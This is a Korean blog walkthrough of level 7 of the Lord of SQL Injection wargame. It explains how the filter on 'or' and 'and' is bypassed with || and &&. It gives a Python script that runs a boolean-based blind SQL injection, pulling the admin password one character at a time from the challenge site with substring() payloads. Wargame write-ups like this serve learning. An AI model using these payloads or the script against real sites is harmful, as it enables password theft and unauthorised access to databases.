새소식

Game/los

Lord of sql injection [7]

  • -
반응형

 

(문제 7)

 

php코드를 살펴보면 admin으로 체크 했을 때 pw가 admin의 pw이면, (즉 검증함)

문제를 통과 시켜주는 것 같다.

 

위에 guest는 살짝 페이크 인듯.

 

 

 

이 문제 또한 or와 and를 막아놓았다. -> ||, &&를 이용해서 우회해주어야 함.

 

'or 1=1 을 pw에 주었더니, hello guest라고 출력된다. 즉 admin이 아님.

 

 

id= admin으로 입력하면 hello admin이 출력된다.

 

즉 hello admin이 뜨는 참 값을 찾아서, pw를 구하는

boolean based blind sql injection 인것 같다.

 

먼저 참값의 출력은 hello admin , 거짓은 출력 x라는 것을 알 수 있다.

 

그렇다면 los 4번문제처럼 python코드를 이용해서 풀어보자.

 

import requests from bs4 import BeautifulSoup query1 = "\' || substring(pw,%d,1)= %s #" dbname = [] password = [] word = ['\'a\'', '\'b\'', '\'c\'', '\'d\'', '\'e\'', '\'f\'', '\'g\'', '\'h\'', '\'i\'', '\'j\'', '\'k\'', '\'l\'', '\'m\'', '\'n\'', '\'o\'', '\'p\'', '\'q\'', '\'r\'', '\'s\'', '\'t\'', '\'u\'', '\'v\'', '\'w\'', '\'x\'', '\'y\'', '\'z\'', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] #print("상태 코드 : ",res.status_code) print("========= Blind SQL injection ===========") # 1. 사용하고 있는 DB 길이 알아내기. print("######################data 분석 중") num = 1 while num <= 8: for src in word: dbname = [query1 % (num, src)] cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'} params = {'id': 'admin', 'pw': dbname} res = requests.get('https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php', params=params, cookies=cookies) code = res.text # 전체 코드 search = "Hello admin" # 참일시 나오는 결과 값 if search in code: #코드안에 참일 시 나오는 값이 들어가 있다면 print("Data : ", src) password += src #print(dbname) break num = num+1 print("###########################완료") print('pwd : ', '_'.join(password))

 

파이썬 공부한지 얼마 안됐어요..ㅠ....

가독성이 많이 떨어지네요..^^

코드가 매우 느리지만 어찌되었든, 제가 손으로 치는 것 보단 빠릅니다..^_^

 

 

python을 이용해서 얻은 pw값을 pw안에 넣어주면

 

 

 

클리어~_~

어렵지 않아여~_~

참고로 참일때 나오는 값이 hello admin이여야 admin에 pw와 검증 후 들어갑니다.

hello guest면 안됩니당. (주의)

반응형
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.